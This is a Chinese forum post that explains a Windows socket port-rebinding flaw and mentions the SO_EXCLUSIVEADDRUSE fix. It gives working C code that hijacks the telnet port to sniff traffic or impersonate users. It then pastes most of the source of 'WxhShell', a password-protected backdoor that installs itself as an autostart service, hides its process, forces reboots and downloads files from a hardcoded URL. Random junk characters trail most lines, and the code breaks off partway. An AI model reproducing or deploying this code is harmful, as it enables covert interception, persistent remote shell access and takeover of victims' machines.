社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 17048阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: ;sx4w!Y,  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 5Ux=5a  
v(, tu/  
  saddr.sin_family = AF_INET; R+.kwq3CED  
vw-y:,5`t8  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); h&~9?B  
2~V"[26t  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); \zOsq5}  
!lM.1gTTC  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 [Ov/&jD"  
aO bp"  
  这意味着什么?意味着可以进行如下的攻击: g*w}m>O  
9eR";Wm])  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 'rVB2 `z-  
)a%E $`   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) n{M-t@r7  
)d|s$l$?7  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 #6pJw?[  
,)VAKrSg  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  {j4&'=C:  
JcfGe4  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 ZzP&Zrm  
oqg +<m  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ,v?FR }v  
d\8j!F^=  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 TFz k5  
~c*kS E2X  
  #include T#vY(d  
  #include Rv.IHSQUo  
  #include vV"I}L  
  #include    u}rJqZ  
  DWORD WINAPI ClientThread(LPVOID lpParam);   hb9HVj  
  int main() 2~ vvE  
  { +&E\w,Vq^  
  WORD wVersionRequested; p=|S %  
  DWORD ret; ]!s@FKC{;  
  WSADATA wsaData; b tbuE  
  BOOL val; z<J2e^j  
  SOCKADDR_IN saddr; RS@G.|  
  SOCKADDR_IN scaddr; :u)Qs#'29  
  int err; YHxQb$v)  
  SOCKET s; uh>"TeOi  
  SOCKET sc; - Nt8'-  
  int caddsize; D<WGau2H  
  HANDLE mt; {CFy %  
  DWORD tid;   (Bv~6tj~J  
  wVersionRequested = MAKEWORD( 2, 2 ); gtqtFrleG  
  err = WSAStartup( wVersionRequested, &wsaData ); S@TfZ3Go|  
  if ( err != 0 ) { &MB1'~Q,hq  
  printf("error!WSAStartup failed!\n"); 9Sl5jn  
  return -1; xmfZ5nVL  
  } I$XwM  
  saddr.sin_family = AF_INET; Tl+PRR6D*  
   `P$X`;SwE  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 Fzn !  
0<^Q j.(9  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Vo|[Z)MO`  
  saddr.sin_port = htons(23); ~ftR:F|9  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]3Jb$Q@  
  { C^:{y  
  printf("error!socket failed!\n"); V6kDyl(  
  return -1; ID<[=es6  
  } KTeR;6oZn"  
  val = TRUE; k`s_31<  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 0n={Mb  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 90ov[|MkM  
  { kv2 H3O  
  printf("error!setsockopt failed!\n"); 2Zg%4/u,Zp  
  return -1; g[\8s~g,  
  } h8;H<Y;yQ  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 7|o}m}yVx  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 %zhSSB =BJ  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 3T[zieX  
czB),vooz  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) b'vIX< g  
  { _ D"S  
  ret=GetLastError(); Vl'rO_?t  
  printf("error!bind failed!\n"); /J(~NGT  
  return -1; : ?>yi7w  
  }  &'?Hh(  
  listen(s,2); - rI4_Dl  
  while(1) M-e|$'4u  
  { U99Uny9  
  caddsize = sizeof(scaddr); Cm0K-~ U  
  //接受连接请求 FV/lBWiQQ  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); _<l)4A3rS  
  if(sc!=INVALID_SOCKET) o  WAy[  
  { FtDF}   
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); 2tQ?=V(Di  
  if(mt==NULL) _{GD\Ai_W  
  { 9V;A +d,  
  printf("Thread Creat Failed!\n"); E 0@u|  
  break; ]Y$jc  
  } m';4`Y5-  
  } *Xn6yL9  
  CloseHandle(mt); H|'n|\{lt  
  } Y^XZ.R  
  closesocket(s); O:8Ne*L`D  
  WSACleanup(); =NWzsRl,  
  return 0; tJm1Q#||  
  }   ):n'B` f}z  
  DWORD WINAPI ClientThread(LPVOID lpParam) Dv4 H^  
  { -a'D~EGB^  
  SOCKET ss = (SOCKET)lpParam; Lzx/9PPYn  
  SOCKET sc; IBW-[lr7  
  unsigned char buf[4096]; DU-dIq i  
  SOCKADDR_IN saddr; o@ L '|#e  
  long num; (?i4P5s[!  
  DWORD val; }}oIZP\qM  
  DWORD ret; " BU4\QF-  
  //如果是隐藏端口应用的话,可以在此处加一些判断 *@W B aN+  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   =<AG}by![  
  saddr.sin_family = AF_INET; j!@, r^(  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); `H9 !Z$7G  
  saddr.sin_port = htons(23); OU*skc>  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 0%yPuY>  
  { w BoP&l  
  printf("error!socket failed!\n"); ~b%dBn]n>  
  return -1; Oe;1f#` 5  
  } Fz5eCe\B  
  val = 100; Ci2*5n<  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) lbh7`xCR  
  { /XdLdA!v  
  ret = GetLastError(); &3itBQF  
  return -1; =p dLh  
  } 474 oVdGx  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 1k{H,p7  
  { ?/(*cA  
  ret = GetLastError(); *T.V5FB0S  
  return -1; =6=l.qyYK  
  } .Y }k@T40a  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) +6L.a3&(b  
  { /2 qxJvZ  
  printf("error!socket connect failed!\n"); pi/&WMZ<  
  closesocket(sc); A[^k4 >  
  closesocket(ss); gm1RQ^n,@.  
  return -1; aFL<(,~r  
  } o<5+v^mt#  
  while(1) 'L^M"f^I  
  { &M=15 uCK  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 IiY%y:!g  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 Bm6t f}8  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 7lr;S(C  
  num = recv(ss,buf,4096,0); >A}ra^gU  
  if(num>0) ?q y*`  
  send(sc,buf,num,0); }|RL6p-/'  
  else if(num==0) m &[(xVM  
  break; ( v$ i  
  num = recv(sc,buf,4096,0); OJ.oHf=K!  
  if(num>0) _P%PjFQ)  
  send(ss,buf,num,0);  \7e4t  
  else if(num==0) KYq<n& s  
  break; 0;%\L:,O  
  } ; NO#/  
  closesocket(ss); H)rJ >L  
  closesocket(sc); :]LW,Eql  
  return 0 ; HaF&ooI5+  
  } !lp7}[k<y  
q35=_'\W  
g<:TsP'|  
========================================================== N1U.1~U  
'Hu+8,xA  
下边附上一个代码,,WXhSHELL ciW;sK8  
d-gcXaA-8  
========================================================== SUL\|z`5  
oq (W|  
#include "stdafx.h" nd5.Py$  
2\F'So  
#include <stdio.h> sBNqg~HwB?  
#include <string.h> }T53y6J#  
#include <windows.h> <d{>[R)  
#include <winsock2.h> ZR8y9mx2"  
#include <winsvc.h> V-"#Kf9  
#include <urlmon.h> !.O;SG  
%PPkT]~\  
#pragma comment (lib, "Ws2_32.lib") 2Ic)]6z R  
#pragma comment (lib, "urlmon.lib") CYM>4C~>JW  
e'fo^XQn[  
#define MAX_USER   100 // 最大客户端连接数 6 I43a1[s  
#define BUF_SOCK   200 // sock buffer cq/@ng*o  
#define KEY_BUFF   255 // 输入 buffer R0F&!y!B  
*~.'lE%[U  
#define REBOOT     0   // 重启 BM87f:d  
#define SHUTDOWN   1   // 关机 Xod/GY G  
Q{ { =  
#define DEF_PORT   5000 // 监听端口 A^4#6],%v  
s1X?]A  
#define REG_LEN     16   // 注册表键长度 ^xr & E  
#define SVC_LEN     80   // NT服务名长度 m,F4N$  
59V8cO+qH  
// 从dll定义API U?EXPi61Z  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); Bo0T}P~  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); V]Uc@7S/  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9rM#w"E?<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [5GzY`/m  
yXf+dMv  
// wxhshell配置信息 j3[kG#  
struct WSCFG { G420o}q  
  int ws_port;         // 监听端口 Z,>owoP4  
  char ws_passstr[REG_LEN]; // 口令 (T.j3@Ko  
  int ws_autoins;       // 安装标记, 1=yes 0=no ixqvX4vv,B  
  char ws_regname[REG_LEN]; // 注册表键名 |WgFLF~k  
  char ws_svcname[REG_LEN]; // 服务名 a24(9(yh  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 +;q` A 1  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 /KlSI<T@  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 )1<GSr9  
int ws_downexe;       // 下载执行标记, 1=yes 0=no oF s)UR  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" xzf/W+.>.  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 ~e5E%bXxC  
O1oh,~W  
}; t*-_MG  
5K =>x<  
// default Wxhshell configuration #z c$cr  
struct WSCFG wscfg={DEF_PORT, ]hbrzv o  
    "xuhuanlingzhe", &b]_#c   
    1, j(c;r>  
    "Wxhshell", )t,efg  
    "Wxhshell", `mquGk|)  
            "WxhShell Service", tHFUV\D;,  
    "Wrsky Windows CmdShell Service", EIOP+9zP  
    "Please Input Your Password: ", C`8.8  
  1, jTqE V(  
  "http://www.wrsky.com/wxhshell.exe", ) LohB,?  
  "Wxhshell.exe" (7X^z&2  
    }; j<h0`v  
1.nYT*  
// 消息定义模块 R !>SN0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ?VyiR40-Cx  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 9CZ EP0i7  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; i~m;Ah,#  
char *msg_ws_ext="\n\rExit."; LXRIo2ynuw  
char *msg_ws_end="\n\rQuit."; $Ut1vp1$  
char *msg_ws_boot="\n\rReboot..."; DyRU$U  
char *msg_ws_poff="\n\rShutdown..."; 8(H!iKHe  
char *msg_ws_down="\n\rSave to "; o\nFSG kn  
- I~\  
char *msg_ws_err="\n\rErr!"; `L3{y/U'  
char *msg_ws_ok="\n\rOK!"; \{o<-S;h  
1Q$/L+uJ5  
char ExeFile[MAX_PATH]; ^fbzlu?G4-  
int nUser = 0; 6Zv-kG  
HANDLE handles[MAX_USER]; e`?o`@vO,  
int OsIsNt; = @ 1{LF;  
hE +M|#o  
SERVICE_STATUS       serviceStatus; =r~ExW}+  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; x, 'KI?TyQ  
Z jXn,W]~  
// 函数声明 35fj-J$8  
int Install(void); 2>xEE  
int Uninstall(void); H$6;{IUz~  
int DownloadFile(char *sURL, SOCKET wsh); M4t:)!dji?  
int Boot(int flag); pwNF\ ={  
void HideProc(void); Z5"5Ge-M  
int GetOsVer(void); V:lKF')  
int Wxhshell(SOCKET wsl); 3.Jk-:u %m  
void TalkWithClient(void *cs); nMBF/75  
int CmdShell(SOCKET sock); X//=OpS`  
int StartFromService(void); yY"n:&T(  
int StartWxhshell(LPSTR lpCmdLine); -e_pw,5c '  
}?9A:&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]5e|W Q>*X  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); zTw<9Nf  
.Z@iz5  
// 数据结构和表定义 @ b} -<~  
SERVICE_TABLE_ENTRY DispatchTable[] = gdg "g6b  
{ 7_L$XIa  
{wscfg.ws_svcname, NTServiceMain}, H4W!@"e  
{NULL, NULL} BfDC[(n`  
}; P o\d!  
v `;Hd8  
// 自我安装 9{-H/YS\_s  
int Install(void) bMqFrG  
{ d}@n,3  
  char svExeFile[MAX_PATH]; / LLo7"  
  HKEY key; RH;A|[7T&  
  strcpy(svExeFile,ExeFile); 7H?lR~w  
R 3*{"!O  
// 如果是win9x系统,修改注册表设为自启动 K!v\r"N  
if(!OsIsNt) { {@[#0gPH  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @={ qy}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); JcC2Zn6  
  RegCloseKey(key); I.U=%{.  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { SgQ(#y|vV  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); FMT_X  
  RegCloseKey(key); HcGbe37Xq  
  return 0; ]ts^h~BZ$  
    } 8>|<m'e^\r  
  } $|I hO  
} nHQWO   
else { qU ,{jD$  
p &i+i  
// 如果是NT以上系统,安装为系统服务 MSe >1L2=  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); AH^ud*3F  
if (schSCManager!=0) IB^vEY!`6_  
{ jM>;l6l  
  SC_HANDLE schService = CreateService m:cWnG  
  ( k8,s<m  
  schSCManager, ~NIqO4 D  
  wscfg.ws_svcname, aX*7tRn_%  
  wscfg.ws_svcdisp, $]4o!Z  
  SERVICE_ALL_ACCESS, RG_6& A  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }5}#QHF  
  SERVICE_AUTO_START, }-p-(  
  SERVICE_ERROR_NORMAL, #r@>.S=U]  
  svExeFile, .i1|U8"X  
  NULL, 88l{M[B2  
  NULL, p\tA&>3-  
  NULL, .+5;AtN  
  NULL, hSaw)g`w  
  NULL dA0o{[o=  
  ); fjm 3X$tR  
  if (schService!=0) Y0ACJ?|  
  { l7(p~+o?h>  
  CloseServiceHandle(schService); QiNLE'19^  
  CloseServiceHandle(schSCManager); S"@@BQ#mf  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); &Zo+F]3d  
  strcat(svExeFile,wscfg.ws_svcname); D 75;Y;E  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { \OkJX_7  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ,8stEp9~h]  
  RegCloseKey(key); g+-^6UG  
  return 0; dlMjy$/T  
    } w^[:wzF0  
  } '_" S/X +v  
  CloseServiceHandle(schSCManager); U}GO* +  
} _!%@V=  
} A9z3SJ\vXl  
',I$`h  
return 1; vQ >8>V  
} Lv *USN  
SGpe\P]k  
// 自我卸载 [>lQi X  
int Uninstall(void) &H2j3De  
{ ?&POVf>  
  HKEY key; 22`e7  
e/$M6l$Q*4  
if(!OsIsNt) { ONLhQJCb  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { `* cJc6  
  RegDeleteValue(key,wscfg.ws_regname); :e\M~n+y  
  RegCloseKey(key); 9!6u Yf+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { |wuN`;gc"  
  RegDeleteValue(key,wscfg.ws_regname); <4N E)!#  
  RegCloseKey(key); Q;kl-upn~8  
  return 0; qKs"L^b  
  } n.1$p  
} uIR   
} u\)q.`  
else { }+F@A`Bm&  
5Trc#i<\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Iz&<rL;s  
if (schSCManager!=0) '<AE%i,  
{ (mx}6A  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !ozHS_  
  if (schService!=0) 9 $zx<O  
  { vyT-!mC  
  if(DeleteService(schService)!=0) { $LtCI  
  CloseServiceHandle(schService); >n%ckL|rG  
  CloseServiceHandle(schSCManager); Kp6%=JjO  
  return 0; 3Q_)Xs r`  
  } M+7jJ?n  
  CloseServiceHandle(schService); kMg[YQ]OC  
  } avUdv V-  
  CloseServiceHandle(schSCManager); +d3h @gp  
} [V0%=q+R  
} 3C2~heO>|  
cd4HbSp  
return 1; )~#3A@  
} TtgsM}Fm  
W&2r{kCsQ  
// 从指定url下载文件 MgH O WoF  
int DownloadFile(char *sURL, SOCKET wsh) ;p:CrFv  
{ Q>uJ:[x+  
  HRESULT hr; ?*cCn-|  
char seps[]= "/"; -c %'f&P  
char *token; cZAf?,>u  
char *file; v=-T3 n  
char myURL[MAX_PATH]; +KIFLuL  
char myFILE[MAX_PATH]; ][>-r&V  
L"( {6H  
strcpy(myURL,sURL); ZJHaY09N  
  token=strtok(myURL,seps); {Vf].l:kn  
  while(token!=NULL) xxpzz(S ]A  
  { I1JF2" {c  
    file=token; KnUVR!H|  
  token=strtok(NULL,seps); !Za yN  
  } P#AS")Sj  
4K >z?jd  
GetCurrentDirectory(MAX_PATH,myFILE); qG#ZYcVec  
strcat(myFILE, "\\"); \sS0@gnDI  
strcat(myFILE, file); (_fovV=  
  send(wsh,myFILE,strlen(myFILE),0); aQ0pYk~(  
send(wsh,"...",3,0); ?qbq\t  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ;6*$!^*w  
  if(hr==S_OK) ne=CN!=  
return 0; Bu4@FIK!C  
else j_SUR)5  
return 1; | zOwC9-6  
aX.//T:':?  
} tQ`|MO&o  
H1$n6J  
// 系统电源模块 l <yYfGO  
int Boot(int flag) Oki{)Ssy  
{ "fu@2y4^  
  HANDLE hToken; @Z Dd(xB&  
  TOKEN_PRIVILEGES tkp; i.e4<|{  
I\|.WrMNi  
  if(OsIsNt) { cPX^4d~9  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); mH )i  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); E*QLw* H  
    tkp.PrivilegeCount = 1; ;+lsNf  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; VBK|*Tl  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); yER  
if(flag==REBOOT) { U=[isi+7  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) lO HW9Z  
  return 0; Y9B"yV  
} 5)ooE   
else { a&B@F]+  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) '>t'U?7w<  
  return 0; b T** y?2  
} cpphnGj5  
  } C9eisUM  
  else { ]aYuBoj  
if(flag==REBOOT) { 2h1P!4W85  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) [x -<O:r=P  
  return 0; {N@Pk[!  
} G}@a]EGm  
else { )g`~,3G  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) t<e3EW@>>  
  return 0; &@'+h* b  
} ?3<Y/Vg%c  
} Fp>nu_-"  
LXf|n  
return 1; 40 zO4  
} mcxD#+H 3  
)QI#szv6  
// win9x进程隐藏模块 7nZ3u _~  
void HideProc(void) f0*_& rP  
{ =:\5*  
SA?1*dw)  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); =D)ADZ\<r  
  if ( hKernel != NULL ) T2|os{U  
  { T/jxsIt3  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Y /l~R7  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); GF*uDJ Kp  
    FreeLibrary(hKernel); 9rT"_d#  
  } A| y U'k  
\ !IEZ  
return; P[jh^!<j  
} ^,` L!3  
'a"Uw"/p[  
// 获取操作系统版本 uYijzHQyD  
int GetOsVer(void) 3!i{4/  
{ {"db1Gbfg  
  OSVERSIONINFO winfo; kA9k^uR/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); w7f)v\p  
  GetVersionEx(&winfo); 7yOBxb   
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) sY?sQ'E2]  
  return 1; =]1g*~%  
  else Ho $+[K  
  return 0; 7t+H94KG7  
} t;_1/ mt  
(*\y  
// 客户端句柄模块 o8S P#ET"n  
int Wxhshell(SOCKET wsl) \p!m/2  
{ l|M|;5TW  
  SOCKET wsh; V OT9cP^6  
  struct sockaddr_in client; /buj(/q^#  
  DWORD myID; nPH\Lra  
$9Gra#  
  while(nUser<MAX_USER) 9fsc>9  
{ Z 4c^6v  
  int nSize=sizeof(client); upFe{M@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 3;R`_#t+  
  if(wsh==INVALID_SOCKET) return 1; D!i|KI/  
)))AxgM  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ?',Wn3A  
if(handles[nUser]==0) \\35} 9  
  closesocket(wsh); X n Rm9%  
else ^MVOaV65  
  nUser++; >L$9fn/J  
  } P=X)Ktmv  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); OXZx!h  
ScRK1  
  return 0; OK2\2&G  
} hPUZ{#;n  
?"@SxM~\  
// 关闭 socket r>G||/Z  
void CloseIt(SOCKET wsh) R S] N%`]  
{ kD6Iz$tr  
closesocket(wsh); 4v2JrC;  
nUser--; 5Hs !s+  
ExitThread(0); 1;vwreJ  
} }xY|z"&  
rw75(Lp{  
// 客户端请求句柄 1 /SB[[g  
void TalkWithClient(void *cs) GE\({V.W  
{ %h v-3L#V  
R9UC0D:-x  
  SOCKET wsh=(SOCKET)cs; V=c?V/pl  
  char pwd[SVC_LEN]; l !ZzJ&  
  char cmd[KEY_BUFF]; m`jGBSlw_  
char chr[1]; K] &GSro  
int i,j; `R*!GHro  
jEK{47i v  
  while (nUser < MAX_USER) { id]}10  
FV%|*JW[;N  
if(wscfg.ws_passstr) { <f0yh"?6VH  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Z 2lX^z  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )2r_EO@3HP  
  //ZeroMemory(pwd,KEY_BUFF); @== "$uRw  
      i=0; z]j_,3Hff  
  while(i<SVC_LEN) { UN:cRH{?*  
HN<e)E38  
  // 设置超时 ?yA 2N;  
  fd_set FdRead; >uE<-klv  
  struct timeval TimeOut; eYPIZ{S7h  
  FD_ZERO(&FdRead); Gz7,g Y  
  FD_SET(wsh,&FdRead); {7Kl #b  
  TimeOut.tv_sec=8; 8qT^=K $  
  TimeOut.tv_usec=0; <g, 21(bc  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 51'V[tI;8  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); LtNspFoLb  
mOb@w/f  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s+v$sF  
  pwd=chr[0]; 9W j9=  
  if(chr[0]==0xd || chr[0]==0xa) { %t$)sg]  
  pwd=0; #:Ukv?  
  break; {3 >`k.w  
  } ,fj~BkW{  
  i++; T? ,Q=.  
    } #vTF:r  
6>h"Lsww  
  // 如果是非法用户,关闭 socket XOEf,"  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); kZ!&3G9>-  
} }mS+%w"j  
mHNqzdaa  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ~~#/jULbV  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); > Qh#pn*  
-U@ycx|r  
while(1) { UiZ1$d*  
?y^ ix+ M  
  ZeroMemory(cmd,KEY_BUFF); S4{\5ulr7  
\G6V-W  
      // 自动支持客户端 telnet标准   +Xmza8T9  
  j=0; >9[wjB2?}  
  while(j<KEY_BUFF) { b+$-f:mj  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Ljk0K3Q6>  
  cmd[j]=chr[0]; GA.cp*2 ~  
  if(chr[0]==0xa || chr[0]==0xd) { 07Oagq(  
  cmd[j]=0; 0:eK}tC  
  break; b=:%*gq,  
  } o|V=3y Ok  
  j++; MA v-#  
    } = Ru q  
!1P<A1K  
  // 下载文件 ?q"9ZYX<  
  if(strstr(cmd,"http://")) { ] .c$(.  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qwo{34  
  if(DownloadFile(cmd,wsh)) ^0 /!:*?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); kqLpt  
  else [O6JVXO>  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ))J#t{X/8v  
  } a1ai?},  
  else { ['I5(M@  
G)%r|meKGB  
    switch(cmd[0]) { "=0JYh)%_  
  !XY}\zKq  
  // 帮助 NaeG)u#+  
  case '?': { S?Uvt?  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); JwUz4  
    break; ['l}*  
  } dj3E20Ws  
  // 安装 a<Ps6'  
  case 'i': { B|rf[EI>  
    if(Install()) 9RY}m7  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `_M&zN  
    else kk aS&r>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); lI+KT_|L  
    break; Y IVN;:B.  
    } Ce PI{`&,  
  // 卸载 Mey=%Fv  
  case 'r': { , ins/-3  
    if(Uninstall()) h8HA^><Xr  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); z4(Q.0x7  
    else \p!mX|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BR0P :h  
    break; lAx8m't}6  
    } TzsNhrU{  
  // 显示 wxhshell 所在路径 @34CaZ$k  
  case 'p': { <Kq!)) J'  
    char svExeFile[MAX_PATH]; -)E6{  
    strcpy(svExeFile,"\n\r"); +Z/aG k;  
      strcat(svExeFile,ExeFile); $9<P3J 1  
        send(wsh,svExeFile,strlen(svExeFile),0); y?V#LW[^E  
    break; )7iYx{n  
    } @. KFWAm  
  // 重启 fMZc_dsW9  
  case 'b': { g=kuM  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); L(3} H,t  
    if(Boot(REBOOT)) 9jrlB0  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ](^BQc  
    else { iR4!X()  
    closesocket(wsh); t%30B^Ii%K  
